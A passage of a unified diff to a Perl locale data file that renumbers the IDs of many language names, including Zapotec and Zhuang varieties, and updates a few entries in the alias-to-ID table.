       q(Yaygir),
       ],
-   q(7548) => [
+   q(7551) => [
       q(Yandjibara),
       ],
-   q(7549) => [
+   q(7552) => [
       q(Mayi-Yapi),
       ],
-   q(7550) => [
+   q(7553) => [
       q(Mayi-Kulan),
       ],
-   q(7551) => [
+   q(7554) => [
       q(Yalakalore),
       ],
-   q(7552) => [
+   q(7555) => [
       q(Mayi-Thakurti),
       ],
-   q(7553) => [
+   q(7556) => [
       q(Yorta Yorta),
       ],
-   q(7554) => [
+   q(7557) => [
       q(Zhang-Zhung),
       ],
-   q(7555) => [
+   q(7558) => [
       q(Zemgalian),
       ],
-   q(7556) => [
+   q(7559) => [
       q(Ancient Zapotec),
       ],
-   q(7557) => [
+   q(7560) => [
       q(Yaminahua),
       ],
-   q(7558) => [
+   q(7561) => [
       q(Yuhup),
       ],
-   q(7559) => [
+   q(7562) => [
       q(Pass Valley Yali),
       ],
-   q(7560) => [
+   q(7563) => [
       q(Yagua),
       ],
-   q(7561) => [
+   q(7564) => [
       q(Pume),
       ],
-   q(7562) => [
+   q(7565) => [
       q(Yaka (Democratic Republic of Congo)),
       ],
-   q(7563) => [
+   q(7566) => [
       q(Yamana),
       ],
-   q(7564) => [
+   q(7567) => [
       q(Yazgulyam),
       ],
-   q(7565) => [
+   q(7568) => [
       q(Yagnobi),
       ],
-   q(7566) => [
+   q(7569) => [
       q(Banda-Yangere),
       ],
-   q(7567) => [
+   q(7570) => [
       q(Yakama),
       ],
-   q(7568) => [
+   q(7571) => [
       q(Yalunka),
       ],
-   q(7569) => [
+   q(7572) => [
       q(Yamba),
       ],
-   q(7570) => [
+   q(7573) => [
       q(Mayangna),
       ],
-   q(7571) => [
+   q(7574) => [
       q(Yaqui),
       ],
-   q(7572) => [
+   q(7575) => [
       q(Yabarana),
       ],
-   q(7573) => [
+   q(7576) => [
       q(Nugunu (Cameroon)),
       ],
-   q(7574) => [
+   q(7577) => [
       q(Yambeta),
       ],
-   q(7575) => [
+   q(7578) => [
       q(Yuwana),
       ],
-   q(7576) => [
+   q(7579) => [
       q(Yangben),
       ],
-   q(7577) => [
+   q(7580) => [
       q(Yawalapiti),
       ],
-   q(7578) => [
+   q(7581) => [
       q(Yauma),
       ],
-   q(7579) => [
+   q(7582) => [
       q(Agwagwune),
       ],
-   q(7580) => [
+   q(7583) => [
       q(Lokaa),
       ],
-   q(7581) => [
+   q(7584) => [
       q(Yala),
       ],
-   q(7582) => [
+   q(7585) => [
       q(Yemba),
       ],
-   q(7583) => [
+   q(7586) => [
       q(West Yugur),
       ],
-   q(7584) => [
+   q(7587) => [
       q(Yakha),
       ],
-   q(7585) => [
+   q(7588) => [
       q(Yamphu),
       ],
-   q(7586) => [
+   q(7589) => [
       q(Hasha),
       ],
-   q(7587) => [
+   q(7590) => [
       q(Bokha),
       ],
-   q(7588) => [
+   q(7591) => [
       q(Yukuben),
       ],
-   q(7589) => [
+   q(7592) => [
       q(Yaben),
       ],
-   q(7590) => [
+   q(7593) => [
       q(Yabaana),
       ],
-   q(7591) => [
+   q(7594) => [
       q(Yabong),
       ],
-   q(7592) => [
+   q(7595) => [
       q(Yawiyo),
       ],
-   q(7593) => [
+   q(7596) => [
       q(Yaweyuha),
       ],
-   q(7594) => [
+   q(7597) => [
       q(Chesu),
       ],
-   q(7595) => [
+   q(7598) => [
       q(Lolopo),
       ],
-   q(7596) => [
+   q(7599) => [
       q(Yucuna),
       ],
-   q(7597) => [
+   q(7600) => [
       q(Chepya),
       ],
-   q(7598) => [
+   q(7601) => [
       q(Yanda),
       ],
-   q(7599) => [
+   q(7602) => [
       q(Eastern Yiddish),
       ],
-   q(7600) => [
+   q(7603) => [
       q(Yangum Dey),
       ],
-   q(7601) => [
+   q(7604) => [
       q(Yidgha),
       ],
-   q(7602) => [
+   q(7605) => [
       q(Yoidik),
       ],
-   q(7603) => [
+   q(7606) => [
       q(Ravula),
       ],
-   q(7604) => [
+   q(7607) => [
       q(Yeniche),
       ],
-   q(7605) => [
+   q(7608) => [
       q(Yimas),
       ],
-   q(7606) => [
+   q(7609) => [
       q(Yeni),
       ],
-   q(7607) => [
+   q(7610) => [
       q(Yevanic),
       ],
-   q(7608) => [
+   q(7611) => [
       q(Yela),
       ],
-   q(7609) => [
+   q(7612) => [
       q(Tarok),
       ],
-   q(7610) => [
+   q(7613) => [
       q(Nyankpa),
       ],
-   q(7611) => [
+   q(7614) => [
       q(Yetfa),
       ],
-   q(7612) => [
+   q(7615) => [
       q(Yerukula),
       ],
-   q(7613) => [
+   q(7616) => [
       q(Yapunda),
       ],
-   q(7614) => [
+   q(7617) => [
       q(Yeyi),
       ],
-   q(7615) => [
+   q(7618) => [
       q(Malyangapa),
       ],
-   q(7616) => [
+   q(7619) => [
       q(Yiningayi),
       ],
-   q(7617) => [
+   q(7620) => [
       q(Yangum Gel),
       ],
-   q(7618) => [
+   q(7621) => [
       q(Yagomi),
       ],
-   q(7619) => [
+   q(7622) => [
       q(Gepo),
       ],
-   q(7620) => [
+   q(7623) => [
       q(Yagaria),
       ],
-   q(7621) => [
+   q(7624) => [
       q(Yolnu Sign Language),
       ],
-   q(7622) => [
+   q(7625) => [
       q(Yugul),
       ],
-   q(7623) => [
+   q(7626) => [
       q(Yagwoia),
       ],
-   q(7624) => [
+   q(7627) => [
       q(Baha Buyang),
       ],
-   q(7625) => [
+   q(7628) => [
       q(Judeo-Iraqi Arabic),
       ],
-   q(7626) => [
+   q(7629) => [
       q(Hlepho Phowa),
       ],
-   q(7627) => [
+   q(7630) => [
       q(Yan-nhanu Sign Language),
       ],
-   q(7628) => [
+   q(7631) => [
       q(Yinggarda),
       ],
-   q(7629) => [
+   q(7632) => [
       q(Wusa Nasu),
       ],
-   q(7630) => [
+   q(7633) => [
       q(Western Yiddish),
       ],
-   q(7631) => [
+   q(7634) => [
       q(Yidiny),
       ],
-   q(7632) => [
+   q(7635) => [
       q(Yindjibarndi),
       ],
-   q(7633) => [
+   q(7636) => [
       q(Dongshanba Lalo),
       ],
-   q(7634) => [
+   q(7637) => [
       q(Yindjilandji),
       ],
-   q(7635) => [
+   q(7638) => [
       q(Yimchungru Naga),
       ],
-   q(7636) => [
+   q(7639) => [
       q(Yinchia),
       ],
-   q(7637) => [
+   q(7640) => [
       q(Pholo),
       ],
-   q(7638) => [
+   q(7641) => [
       q(Miqie),
       ],
-   q(7639) => [
+   q(7642) => [
       q(North Awyu),
       ],
-   q(7640) => [
+   q(7643) => [
       q(Yis),
       ],
-   q(7641) => [
+   q(7644) => [
       q(Eastern Lalu),
       ],
-   q(7642) => [
+   q(7645) => [
       q(Awu),
       ],
-   q(7643) => [
+   q(7646) => [
       q(Northern Nisu),
       ],
-   q(7644) => [
+   q(7647) => [
       q(Axi Yi),
       ],
-   q(7645) => [
+   q(7648) => [
       q(Azhe),
       ],
-   q(7646) => [
+   q(7649) => [
       q(Yakan),
       ],
-   q(7647) => [
+   q(7650) => [
       q(Northern Yukaghir),
       ],
-   q(7648) => [
+   q(7651) => [
       q(Yoke),
       ],
-   q(7649) => [
+   q(7652) => [
       q(Yakaikeke),
       ],
-   q(7650) => [
+   q(7653) => [
       q(Khlula),
       ],
-   q(7651) => [
+   q(7654) => [
       q(Kap),
       ],
-   q(7652) => [
+   q(7655) => [
       q(Kua-nsi),
       ],
-   q(7653) => [
+   q(7656) => [
       q(Yasa),
       ],
-   q(7654) => [
+   q(7657) => [
       q(Yekora),
       ],
-   q(7655) => [
+   q(7658) => [
       q(Kathu),
       ],
-   q(7656) => [
+   q(7659) => [
       q(Kuamasi),
       ],
-   q(7657) => [
+   q(7660) => [
       q(Yakoma),
       ],
-   q(7658) => [
+   q(7661) => [
       q(Yaul),
       ],
-   q(7659) => [
+   q(7662) => [
       q(Yaleba),
       ],
-   q(7660) => [
+   q(7663) => [
       q(Yele),
       ],
-   q(7661) => [
+   q(7664) => [
       q(Yelogu),
       ],
-   q(7662) => [
+   q(7665) => [
       q(Angguruk Yali),
       ],
-   q(7663) => [
+   q(7666) => [
       q(Yil),
       ],
-   q(7664) => [
+   q(7667) => [
       q(Limi),
       ],
-   q(7665) => [
+   q(7668) => [
       q(Langnian Buyang),
       ],
-   q(7666) => [
+   q(7669) => [
       q(Naluo Yi),
       ],
-   q(7667) => [
+   q(7670) => [
       q(Yalarnnga),
       ],
-   q(7668) => [
+   q(7671) => [
       q(Aribwaung),
       ],
-   q(7669) => [
+   q(7672) => [
       q(Nyalayu),
       q(Nyelayu),
       ],
-   q(7670) => [
+   q(7673) => [
       q(Yambes),
       ],
-   q(7671) => [
+   q(7674) => [
       q(Southern Muji),
       ],
-   q(7672) => [
+   q(7675) => [
       q(Muda),
       ],
-   q(7673) => [
+   q(7676) => [
       q(Yameo),
       ],
-   q(7674) => [
+   q(7677) => [
       q(Yamongeri),
       ],
-   q(7675) => [
+   q(7678) => [
       q(Mili),
       ],
-   q(7676) => [
+   q(7679) => [
       q(Moji),
       ],
-   q(7677) => [
+   q(7680) => [
       q(Makwe),
       ],
-   q(7678) => [
+   q(7681) => [
       q(Iamalele),
       ],
-   q(7679) => [
+   q(7682) => [
       q(Maay),
       ],
-   q(7680) => [
+   q(7683) => [
       q(Yamna),
       q(Sunum),
       ],
-   q(7681) => [
+   q(7684) => [
       q(Yangum Mon),
       ],
-   q(7682) => [
+   q(7685) => [
       q(Yamap),
       ],
-   q(7683) => [
+   q(7686) => [
       q(Qila Muji),
       ],
-   q(7684) => [
+   q(7687) => [
       q(Malasar),
       ],
-   q(7685) => [
+   q(7688) => [
       q(Mysian),
       ],
-   q(7686) => [
+   q(7689) => [
       q(Northern Muji),
       ],
-   q(7687) => [
+   q(7690) => [
       q(Muzi),
       ],
-   q(7688) => [
+   q(7691) => [
       q(Aluo),
       ],
-   q(7689) => [
+   q(7692) => [
       q(Yandruwandha),
       ],
-   q(7690) => [
+   q(7693) => [
       q(Lang'e),
       ],
-   q(7691) => [
+   q(7694) => [
       q(Yango),
       ],
-   q(7692) => [
+   q(7695) => [
       q(Naukan Yupik),
       ],
-   q(7693) => [
+   q(7696) => [
       q(Yangulam),
       ],
-   q(7694) => [
+   q(7697) => [
       q(Yana),
       ],
-   q(7695) => [
+   q(7698) => [
       q(Yong),
       ],
-   q(7696) => [
+   q(7699) => [
       q(Yendang),
       ],
-   q(7697) => [
+   q(7700) => [
       q(Yansi),
       ],
-   q(7698) => [
+   q(7701) => [
       q(Yahuna),
       ],
-   q(7699) => [
+   q(7702) => [
       q(Yoba),
       ],
-   q(7700) => [
+   q(7703) => [
       q(Yogad),
       ],
-   q(7701) => [
+   q(7704) => [
       q(Yonaguni),
       ],
-   q(7702) => [
+   q(7705) => [
       q(Yokuts),
       ],
-   q(7703) => [
+   q(7706) => [
       q(Yola),
       ],
-   q(7704) => [
+   q(7707) => [
       q(Yombe),
       ],
-   q(7705) => [
+   q(7708) => [
       q(Yongkom),
       ],
-   q(7706) => [
+   q(7709) => [
       q(Yotti),
       ],
-   q(7707) => [
+   q(7710) => [
       q(Yoron),
       ],
-   q(7708) => [
+   q(7711) => [
       q(Yoy),
       ],
-   q(7709) => [
+   q(7712) => [
       q(Phala),
       ],
-   q(7710) => [
+   q(7713) => [
       q(Labo Phowa),
       ],
-   q(7711) => [
+   q(7714) => [
       q(Phola),
       ],
-   q(7712) => [
+   q(7715) => [
       q(Phupha),
       ],
-   q(7713) => [
+   q(7716) => [
       q(Phuma),
       ],
-   q(7714) => [
+   q(7717) => [
       q(Ani Phowa),
       ],
-   q(7715) => [
+   q(7718) => [
       q(Alo Phola),
       ],
-   q(7716) => [
+   q(7719) => [
       q(Phupa),
       ],
-   q(7717) => [
+   q(7720) => [
       q(Phuza),
       ],
-   q(7718) => [
+   q(7721) => [
       q(Yerakai),
       ],
-   q(7719) => [
+   q(7722) => [
       q(Yareba),
       ],
-   q(7720) => [
+   q(7723) => [
       q(Yaoure),
       ],
-   q(7721) => [
+   q(7724) => [
       q(Nenets),
       ],
-   q(7722) => [
+   q(7725) => [
       q(Nhengatu),
       ],
-   q(7723) => [
+   q(7726) => [
       q(Yirrk-Mel),
       ],
-   q(7724) => [
+   q(7727) => [
       q(Yerong),
       ],
-   q(7725) => [
+   q(7728) => [
       q(Yaroame),
       ],
-   q(7726) => [
+   q(7729) => [
       q(Yarsun),
       ],
-   q(7727) => [
+   q(7730) => [
       q(Yarawata),
       ],
-   q(7728) => [
+   q(7731) => [
       q(Yarluyandi),
       ],
-   q(7729) => [
+   q(7732) => [
       q(Yassic),
       ],
-   q(7730) => [
+   q(7733) => [
       q(Samatao),
       ],
-   q(7731) => [
+   q(7734) => [
       q(Sonaga),
       ],
-   q(7732) => [
+   q(7735) => [
       q(Yugoslavian Sign Language),
       ],
-   q(7733) => [
+   q(7736) => [
       q(Sani),
       ],
-   q(7734) => [
+   q(7737) => [
       q(Nisi (China)),
       ],
-   q(7735) => [
+   q(7738) => [
       q(Southern Lolopo),
       ],
-   q(7736) => [
+   q(7739) => [
       q(Sirenik Yupik),
       ],
-   q(7737) => [
+   q(7740) => [
       q(Yessan-Mayo),
       ],
-   q(7738) => [
+   q(7741) => [
       q(Sanie),
       ],
-   q(7739) => [
+   q(7742) => [
       q(Talu),
       ],
-   q(7740) => [
+   q(7743) => [
       q(Tanglang),
       ],
-   q(7741) => [
+   q(7744) => [
       q(Thopho),
       ],
-   q(7742) => [
+   q(7745) => [
       q(Yout Wam),
       ],
-   q(7743) => [
+   q(7746) => [
       q(Yatay),
       ],
-   q(7744) => [
+   q(7747) => [
       q(Yucateco),
       q(Yucatec Maya),
       ],
-   q(7745) => [
+   q(7748) => [
       q(Yugambal),
       ],
-   q(7746) => [
+   q(7749) => [
       q(Yuchi),
       ],
-   q(7747) => [
+   q(7750) => [
       q(Judeo-Tripolitanian Arabic),
       ],
-   q(7748) => [
+   q(7751) => [
       q(Yue Chinese),
       q(Cantonese),
       ],
-   q(7749) => [
+   q(7752) => [
       q(Havasupai-Walapai-Yavapai),
       ],
-   q(7750) => [
+   q(7753) => [
       q(Yug),
       ],
-   q(7751) => [
+   q(7754) => [
       q(Yuruti),
       ],
-   q(7752) => [
+   q(7755) => [
       q(Karkar-Yuri),
       ],
-   q(7753) => [
+   q(7756) => [
       q(Yuki),
       ],
-   q(7754) => [
+   q(7757) => [
       q(Yulu),
       ],
-   q(7755) => [
+   q(7758) => [
       q(Quechan),
       ],
-   q(7756) => [
+   q(7759) => [
       q(Bena (Nigeria)),
       ],
-   q(7757) => [
+   q(7760) => [
       q(Yukpa),
       ],
-   q(7758) => [
+   q(7761) => [
       q(Yuqui),
       ],
-   q(7759) => [
+   q(7762) => [
       q(Yurok),
       ],
-   q(7760) => [
+   q(7763) => [
       q(Yopno),
       ],
-   q(7761) => [
+   q(7764) => [
       q(Yau (Morobe Province)),
       ],
-   q(7762) => [
+   q(7765) => [
       q(Southern Yukaghir),
       ],
-   q(7763) => [
+   q(7766) => [
       q(East Yugur),
       ],
-   q(7764) => [
+   q(7767) => [
       q(Yuracare),
       ],
-   q(7765) => [
+   q(7768) => [
       q(Yawa),
       ],
-   q(7766) => [
+   q(7769) => [
       q(Yavitero),
       ],
-   q(7767) => [
+   q(7770) => [
       q(Kalou),
       ],
-   q(7768) => [
+   q(7771) => [
       q(Yinhawangka),
       ],
-   q(7769) => [
+   q(7772) => [
       q(Western Lalu),
       ],
-   q(7770) => [
+   q(7773) => [
       q(Yawanawa),
       ],
-   q(7771) => [
+   q(7774) => [
       q(Wuding-Luquan Yi),
       ],
-   q(7772) => [
+   q(7775) => [
       q(Yawuru),
       ],
-   q(7773) => [
+   q(7776) => [
       q(Xishanba Lalo),
       q(Central Lalo),
       ],
-   q(7774) => [
+   q(7777) => [
       q(Wumeng Nasu),
       ],
-   q(7775) => [
+   q(7778) => [
       q(Yawarawarga),
       ],
-   q(7776) => [
+   q(7779) => [
       q(Mayawali),
       ],
-   q(7777) => [
+   q(7780) => [
       q(Yagara),
       ],
-   q(7778) => [
+   q(7781) => [
       q(Yardliyawarra),
       ],
-   q(7779) => [
+   q(7782) => [
       q(Yinwum),
       ],
-   q(7780) => [
+   q(7783) => [
       q(Yuyu),
       ],
-   q(7781) => [
+   q(7784) => [
       q(Yabula Yabula),
       ],
-   q(7782) => [
+   q(7785) => [
       q(Yir Yoront),
       ],
-   q(7783) => [
+   q(7786) => [
       q(Yau (Sandaun Province)),
       ],
-   q(7784) => [
+   q(7787) => [
       q(Ayizi),
       ],
-   q(7785) => [
+   q(7788) => [
       q(E'ma Buyang),
       ],
-   q(7786) => [
+   q(7789) => [
       q(Zokhuo),
       ],
-   q(7787) => [
+   q(7790) => [
       q(Sierra de Juarez Zapotec),
       ],
-   q(7788) => [
+   q(7791) => [
       q(Western Tlacolula Valley Zapotec),
       q(San Juan Guelavia Zapotec),
       ],
-   q(7789) => [
+   q(7792) => [
       q(Ocotlan Zapotec),
       ],
-   q(7790) => [
+   q(7793) => [
       q(Cajonos Zapotec),
       ],
-   q(7791) => [
+   q(7794) => [
       q(Yareni Zapotec),
       ],
-   q(7792) => [
+   q(7795) => [
       q(Ayoquesco Zapotec),
       ],
-   q(7793) => [
+   q(7796) => [
       q(Zaghawa),
       ],
-   q(7794) => [
+   q(7797) => [
       q(Zangwal),
       ],
-   q(7795) => [
+   q(7798) => [
       q(Isthmus Zapotec),
       ],
-   q(7796) => [
+   q(7799) => [
       q(Zaramo),
       ],
-   q(7797) => [
+   q(7800) => [
       q(Zanaki),
       ],
-   q(7798) => [
+   q(7801) => [
       q(Zauzou),
       ],
-   q(7799) => [
+   q(7802) => [
       q(Miahuatlan Zapotec),
       ],
-   q(7800) => [
+   q(7803) => [
       q(Ozolotepec Zapotec),
       ],
-   q(7801) => [
+   q(7804) => [
       q(Aloapam Zapotec),
       ],
-   q(7802) => [
+   q(7805) => [
       q(Rincon Zapotec),
       ],
-   q(7803) => [
+   q(7806) => [
       q(Santo Domingo Albarradas Zapotec),
       ],
-   q(7804) => [
+   q(7807) => [
       q(Tabaa Zapotec),
       ],
-   q(7805) => [
+   q(7808) => [
       q(Zangskari),
       ],
-   q(7806) => [
+   q(7809) => [
       q(Yatzachi Zapotec),
       ],
-   q(7807) => [
+   q(7810) => [
       q(Mitla Zapotec),
       ],
-   q(7808) => [
+   q(7811) => [
       q(Xadani Zapotec),
       ],
-   q(7809) => [
+   q(7812) => [
       q(Zayse-Zergulla),
       q(Zaysete),
       ],
-   q(7810) => [
+   q(7813) => [
       q(Zari),
       ],
-   q(7811) => [
+   q(7814) => [
       q(Central Berawan),
       ],
-   q(7812) => [
+   q(7815) => [
       q(East Berawan),
       ],
-   q(7813) => [
+   q(7816) => [
       q(Batui),
       ],
-   q(7814) => [
+   q(7817) => [
       q(West Berawan),
       ],
-   q(7815) => [
+   q(7818) => [
       q(Coatecas Altas Zapotec),
       ],
-   q(7816) => [
+   q(7819) => [
       q(Central Hongshuihe Zhuang),
       ],
-   q(7817) => [
+   q(7820) => [
       q(Ngazidja Comorian),
       ],
-   q(7818) => [
+   q(7821) => [
       q(Zeeuws),
       ],
-   q(7819) => [
+   q(7822) => [
       q(Zenag),
       ],
-   q(7820) => [
+   q(7823) => [
       q(Eastern Hongshuihe Zhuang),
       ],
-   q(7821) => [
+   q(7824) => [
       q(Kinga),
       ],
-   q(7822) => [
+   q(7825) => [
       q(Guibei Zhuang),
       ],
-   q(7823) => [
+   q(7826) => [
       q(Minz Zhuang),
       ],
-   q(7824) => [
+   q(7827) => [
       q(Guibian Zhuang),
       ],
-   q(7825) => [
+   q(7828) => [
       q(Magori),
       ],
-   q(7826) => [
+   q(7829) => [
       q(Zhaba),
       ],
-   q(7827) => [
+   q(7830) => [
       q(Dai Zhuang),
       ],
-   q(7828) => [
+   q(7831) => [
       q(Zhire),
       ],
-   q(7829) => [
+   q(7832) => [
       q(Nong Zhuang),
       ],
-   q(7830) => [
+   q(7833) => [
       q(Zhoa),
       ],
-   q(7831) => [
+   q(7834) => [
       q(Zia),
       ],
-   q(7832) => [
+   q(7835) => [
       q(Zimbabwe Sign Language),
       ],
-   q(7833) => [
+   q(7836) => [
       q(Zimakani),
       ],
-   q(7834) => [
+   q(7837) => [
       q(Zialo),
       ],
-   q(7835) => [
+   q(7838) => [
       q(Mesme),
       ],
-   q(7836) => [
+   q(7839) => [
       q(Zinza),
       ],
-   q(7837) => [
+   q(7840) => [
       q(Ziriya),
       ],
-   q(7838) => [
+   q(7841) => [
       q(Zigula),
       ],
-   q(7839) => [
+   q(7842) => [
       q(Zizilivakan),
       ],
-   q(7840) => [
+   q(7843) => [
       q(Kaimbulawa),
       ],
-   q(7841) => [
+   q(7844) => [
       q(Koibal),
       ],
-   q(7842) => [
+   q(7845) => [
       q(Kadu),
       ],
-   q(7843) => [
+   q(7846) => [
       q(Koguryo),
       ],
-   q(7844) => [
+   q(7847) => [
       q(Khorezmian),
       ],
-   q(7845) => [
+   q(7848) => [
       q(Karankawa),
       ],
-   q(7846) => [
+   q(7849) => [
       q(Kanan),
       ],
-   q(7847) => [
+   q(7850) => [
       q(Kott),
       ],
-   q(7848) => [
+   q(7851) => [
       q(Sao Paulo Kaingang),
       ],
-   q(7849) => [
+   q(7852) => [
       q(Zakhring),
       ],
-   q(7850) => [
+   q(7853) => [
       q(Kitan),
       ],
-   q(7851) => [
+   q(7854) => [
       q(Kaurna),
       ],
-   q(7852) => [
+   q(7855) => [
       q(Krevinian),
       ],
-   q(7853) => [
+   q(7856) => [
       q(Khazar),
       ],
-   q(7854) => [
+   q(7857) => [
       q(Liujiang Zhuang),
       ],
-   q(7855) => [
+   q(7858) => [
       q(Malay (individual language)),
       ],
-   q(7856) => [
+   q(7859) => [
       q(Lianshan Zhuang),
       ],
-   q(7857) => [
+   q(7860) => [
       q(Liuqian Zhuang),
       ],
-   q(7858) => [
+   q(7861) => [
       q(Manda (Australia)),
       ],
-   q(7859) => [
+   q(7862) => [
       q(Zimba),
       ],
-   q(7860) => [
+   q(7863) => [
       q(Margany),
       ],
-   q(7861) => [
+   q(7864) => [
       q(Maridan),
       ],
-   q(7862) => [
+   q(7865) => [
       q(Mangerr),
       ],
-   q(7863) => [
+   q(7866) => [
       q(Mfinu),
       ],
-   q(7864) => [
+   q(7867) => [
       q(Marti Ke),
       ],
-   q(7865) => [
+   q(7868) => [
       q(Makolkol),
       ],
-   q(7866) => [
+   q(7869) => [
       q(Negeri Sembilan Malay),
       ],
-   q(7867) => [
+   q(7870) => [
       q(Maridjabin),
       ],
-   q(7868) => [
+   q(7871) => [
       q(Mandandanyi),
       ],
-   q(7869) => [
+   q(7872) => [
       q(Madngele),
       ],
-   q(7870) => [
+   q(7873) => [
       q(Marimanindji),
       ],
-   q(7871) => [
+   q(7874) => [
       q(Mbangwe),
       ],
-   q(7872) => [
+   q(7875) => [
       q(Molo),
       ],
-   q(7873) => [
+   q(7876) => [
       q(Mpuono),
       ],
-   q(7874) => [
+   q(7877) => [
       q(Mituku),
       ],
-   q(7875) => [
+   q(7878) => [
       q(Maranunggu),
       ],
-   q(7876) => [
+   q(7879) => [
       q(Mbesa),
       ],
-   q(7877) => [
+   q(7880) => [
       q(Maringarr),
       ],
-   q(7878) => [
+   q(7881) => [
       q(Muruwari),
       ],
-   q(7879) => [
+   q(7882) => [
       q(Mbariman-Gudhinma),
       ],
-   q(7880) => [
+   q(7883) => [
       q(Mbo (Democratic Republic of Congo)),
       ],
-   q(7881) => [
+   q(7884) => [
       q(Bomitaba),
       ],
-   q(7882) => [
+   q(7885) => [
       q(Mariyedi),
       ],
-   q(7883) => [
+   q(7886) => [
       q(Mbandja),
       ],
-   q(7884) => [
+   q(7887) => [
       q(Zan Gula),
       ],
-   q(7885) => [
+   q(7888) => [
       q(Zande (individual language)),
       ],
-   q(7886) => [
+   q(7889) => [
       q(Mang),
       ],
-   q(7887) => [
+   q(7890) => [
       q(Manangkari),
       ],
-   q(7888) => [
+   q(7891) => [
       q(Mangas),
       ],
-   q(7889) => [
+   q(7892) => [
       q(Copainala Zoque),
       ],
-   q(7890) => [
+   q(7893) => [
       q(Chimalapa Zoque),
       ],
-   q(7891) => [
+   q(7894) => [
       q(Zou),
       ],
-   q(7892) => [
+   q(7895) => [
       q(Asuncion Mixtepec Zapotec),
       ],
-   q(7893) => [
+   q(7896) => [
       q(Tabasco Zoque),
       ],
-   q(7894) => [
+   q(7897) => [
       q(Rayon Zoque),
       ],
-   q(7895) => [
+   q(7898) => [
       q(Francisco Leon Zoque),
       ],
-   q(7896) => [
+   q(7899) => [
       q(Lachiguiri Zapotec),
       ],
-   q(7897) => [
+   q(7900) => [
       q(Yautepec Zapotec),
       ],
-   q(7898) => [
+   q(7901) => [
       q(Choapan Zapotec),
       ],
-   q(7899) => [
+   q(7902) => [
       q(Southeastern Ixtlan Zapotec),
       ],
-   q(7900) => [
+   q(7903) => [
       q(Petapa Zapotec),
       ],
-   q(7901) => [
+   q(7904) => [
       q(San Pedro Quiatoni Zapotec),
       ],
-   q(7902) => [
+   q(7905) => [
       q(Guevea De Humboldt Zapotec),
       ],
-   q(7903) => [
+   q(7906) => [
       q(Totomachapan Zapotec),
       ],
-   q(7904) => [
+   q(7907) => [
       q(Santa Maria Quiegolani Zapotec),
       ],
-   q(7905) => [
+   q(7908) => [
       q(Quiavicuzas Zapotec),
       ],
-   q(7906) => [
+   q(7909) => [
       q(Tlacolulita Zapotec),
       ],
-   q(7907) => [
+   q(7910) => [
       q(Lachixio Zapotec),
       ],
-   q(7908) => [
+   q(7911) => [
       q(Mixtepec Zapotec),
       ],
-   q(7909) => [
+   q(7912) => [
       q(Santa Ines Yatzechi Zapotec),
       ],
-   q(7910) => [
+   q(7913) => [
       q(Amatlan Zapotec),
       ],
-   q(7911) => [
+   q(7914) => [
       q(El Alto Zapotec),
       ],
-   q(7912) => [
+   q(7915) => [
       q(Zoogocho Zapotec),
       ],
-   q(7913) => [
+   q(7916) => [
       q(Santiago Xanica Zapotec),
       ],
-   q(7914) => [
+   q(7917) => [
       q(Coatlan Zapotec),
       ],
-   q(7915) => [
+   q(7918) => [
       q(San Vicente Coatlan Zapotec),
       ],
-   q(7916) => [
+   q(7919) => [
       q(Yalalag Zapotec),
       ],
-   q(7917) => [
+   q(7920) => [
       q(Chichicapan Zapotec),
       ],
-   q(7918) => [
+   q(7921) => [
       q(Zaniza Zapotec),
       ],
-   q(7919) => [
+   q(7922) => [
       q(San Baltazar Loxicha Zapotec),
       ],
-   q(7920) => [
+   q(7923) => [
       q(Mazaltepec Zapotec),
       ],
-   q(7921) => [
+   q(7924) => [
       q(Texmelucan Zapotec),
       ],
-   q(7922) => [
+   q(7925) => [
       q(Qiubei Zhuang),
       ],
-   q(7923) => [
+   q(7926) => [
       q(Kara (Korea)),
       ],
-   q(7924) => [
+   q(7927) => [
       q(Mirgan),
       ],
-   q(7925) => [
+   q(7928) => [
       q(Zerenkel),
       ],
-   q(7926) => [
+   q(7929) => [
       q(Zaparo),
       ],
-   q(7927) => [
+   q(7930) => [
       q(Zarphatic),
       ],
-   q(7928) => [
+   q(7931) => [
       q(Mairasi),
       ],
-   q(7929) => [
+   q(7932) => [
       q(Sarasira),
       ],
-   q(7930) => [
+   q(7933) => [
       q(Kaskean),
       ],
-   q(7931) => [
+   q(7934) => [
       q(Zambian Sign Language),
       ],
-   q(7932) => [
+   q(7935) => [
       q(Standard Malay),
       ],
-   q(7933) => [
+   q(7936) => [
       q(Southern Rincon Zapotec),
       ],
-   q(7934) => [
+   q(7937) => [
       q(Sukurum),
       ],
-   q(7935) => [
+   q(7938) => [
       q(Elotepec Zapotec),
       ],
-   q(7936) => [
+   q(7939) => [
       q(Xanaguia Zapotec),
       ],
-   q(7937) => [
+   q(7940) => [
       q(Lapaguia-Guivini Zapotec),
       ],
-   q(7938) => [
+   q(7941) => [
       q(San Agustin Mixtepec Zapotec),
       ],
-   q(7939) => [
+   q(7942) => [
       q(Santa Catarina Albarradas Zapotec),
       ],
-   q(7940) => [
+   q(7943) => [
       q(Loxicha Zapotec),
       ],
-   q(7941) => [
+   q(7944) => [
       q(Quioquitani-Quieri Zapotec),
       ],
-   q(7942) => [
+   q(7945) => [
       q(Tilquiapan Zapotec),
       ],
-   q(7943) => [
+   q(7946) => [
       q(Tejalapan Zapotec),
       ],
-   q(7944) => [
+   q(7947) => [
       q(Guila Zapotec),
       ],
-   q(7945) => [
+   q(7948) => [
       q(Zaachila Zapotec),
       ],
-   q(7946) => [
+   q(7949) => [
       q(Yatee Zapotec),
       ],
-   q(7947) => [
+   q(7950) => [
       q(Zeem),
       ],
-   q(7948) => [
+   q(7951) => [
       q(Tokano),
       ],
-   q(7949) => [
+   q(7952) => [
       q(Kumzari),
       ],
-   q(7950) => [
+   q(7953) => [
       q(Zumaya),
       ],
-   q(7951) => [
+   q(7954) => [
       q(Zay),
       ],
-   q(7952) => [
+   q(7955) => [
       q(Yongbei Zhuang),
       ],
-   q(7953) => [
+   q(7956) => [
       q(Yang Zhuang),
       ],
-   q(7954) => [
+   q(7957) => [
       q(Youjiang Zhuang),
       ],
-   q(7955) => [
+   q(7958) => [
       q(Yongnan Zhuang),
       ],
-   q(7956) => [
+   q(7959) => [
       q(Zyphe Chin),
       ],
-   q(7957) => [
+   q(7960) => [
       q(Zuojiang Zhuang),
       ],
 };
@@ -24245,11 +24263,11 @@
 
 $Locale::Codes::Data{'language'}{'alias2id'} = {
    q(!xoo) => [
-      q(4966),
+      q(4968),
       q(0),
       ],
    q('are'are) => [
-      q(0761),
+      q(0762),
       q(0),
       ],
    q('auhelawa) => [
@@ -24257,111 +24275,111 @@
       q(0),
       ],
    q('oroe) => [
-      q(1381),
+      q(1382),
       q(1),
       ],
    q(//ani) => [
-      q(2798),
+      q(2800),
       q(0),
       ],
